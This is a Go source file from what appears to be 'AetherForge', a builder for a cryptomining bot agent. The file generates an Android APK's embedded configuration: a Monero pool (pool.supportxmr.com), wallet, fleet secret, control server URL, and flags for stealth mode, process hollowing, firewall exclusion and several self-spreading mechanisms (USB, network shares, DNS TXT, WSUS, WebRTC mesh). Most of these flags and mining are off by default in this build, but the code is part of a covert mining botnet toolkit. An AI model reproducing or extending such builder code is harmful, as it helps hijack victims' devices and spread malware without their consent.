// Package forge renders Android agent APK bake-time configuration.
package forge

import (
	"bytes"
	"encoding/json"
	"fmt"
	"strings"
	"time"
)

// BakeConfig holds values embedded at APK forge time.
type BakeConfig struct {
	WorkerName  string `json:"worker_name"`
	ServerURL   string `json:"server_url"`
	FleetSecret string `json:"fleet_secret,omitempty"`
	Wallet      string `json:"wallet,omitempty"`
	BuildID     string `json:"build_id,omitempty"`
	ScoutMode   bool   `json:"scout_mode,omitempty"`
}

// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
func AndroidAgentDefaults() BakeConfig {
	return BakeConfig{
		WorkerName: "android-fleet-node",
		ServerURL:  "http://127.0.0.1:8989",
		Wallet:     "android-node-no-pool",
		BuildID:    "android-dev",
	}
}

// RenderConfigJSON produces assets/config.json content for the APK wrapper.
func RenderConfigJSON(cfg BakeConfig) (string, error) {
	cfg = normalize(cfg)
	out := map[string]any{
		"worker_name": cfg.WorkerName,
		"server_url":  cfg.ServerURL,
		"mining": map[string]any{
			"enabled": false,
			"mode":    "idle",
			"note":    "CPU mining disabled by default; enable via server policy or re-forge.",
		},
		"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
		"build_id":         cfg.BuildID,
	}
	if cfg.FleetSecret != "" {
		out["fleet_secret"] = cfg.FleetSecret
	}
	var buf bytes.Buffer
	enc := json.NewEncoder(&buf)
	enc.SetEscapeHTML(false)
	enc.SetIndent("", "  ")
	if err := enc.Encode(out); err != nil {
		return "", err
	}
	return strings.TrimSpace(buf.String()) + "\n", nil
}

// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
	cfg = normalize(cfg)
	now := time.Now().UTC().Unix()
	return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
// Build ID: %s

package config

import "time"

func GetBuiltinConfig() BuiltinConfig {
	return BuiltinConfig{
		WorkerName:          %q,
		ServerURL:           %q,
		Wallet:              %q,
		Threads:             0,
		ThreadMode:          "percent",
		ThreadPercent:       0,
		CPUPriority:         "idle",
		MiningMode:          "idle",
		MinerExecution:      "inprocess",
		DisplayMode:         "background",
		SilentMode:          false,
		RunAs:               "user",
		AutoStart:           false,
		ProcessName:         "aetherforge-agent",
		BuildID:             %q,
		BuiltAt:             time.Unix(%d, 0),
		PoolHost:            "pool.supportxmr.com",
		PoolPort:            3333,
		PoolTLS:             false,
		PoolPass:            "x",
		MaxCPUUsage:         0,
		MaxMemoryPct:        50,
		MinFreeRAM:          256,
		IdleThresholdPct:    0,
		IdleDurationMinutes: 60,
		ScheduleStart:       "00:00",
		ScheduleEnd:         "00:01",
		InstallBase:         "temp",
		InstallRelativePath: "aetherforge-agent",
		AdaptToHardware:     true,
		SelfHealing:         false,
		FileLogging:         true,
		StealthMode:         false,
		FirewallExclusion:   false,
		AIEnabled:           false,
		ProcessHollowing:    false,
		MeshP2P:             false,
		AutoSpread:          false,
		HolePunch:           false,
		RemoteAggressive:    false,
		USBSpread:           false,
		ShareSpread:         false,
		GPUEnabled:          false,
		FleetSecret:         %q,
		LotlOnionEnabled:     false,
		LotlPolicyFromServer: false,
		DnsTxtSpread:         false,
		WebRTCMeshSpread:     false,
		WSUSCachePeerSpread:  false,
		ApkMode:              true,
		ScoutMode:            %v,
		MiningDisabled:       true,
	}
}
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret, cfg.ScoutMode), nil
}

func normalize(cfg BakeConfig) BakeConfig {
	def := AndroidAgentDefaults()
	if strings.TrimSpace(cfg.WorkerName) == "" {
		cfg.WorkerName = def.WorkerName
	}
	if strings.TrimSpace(cfg.ServerURL) == "" {
		cfg.ServerURL = def.ServerURL
	}
	if strings.TrimSpace(cfg.Wallet) == "" {
		cfg.Wallet = def.Wallet
	}
	if strings.TrimSpace(cfg.BuildID) == "" {
		cfg.BuildID = def.BuildID
	}
	return cfg
}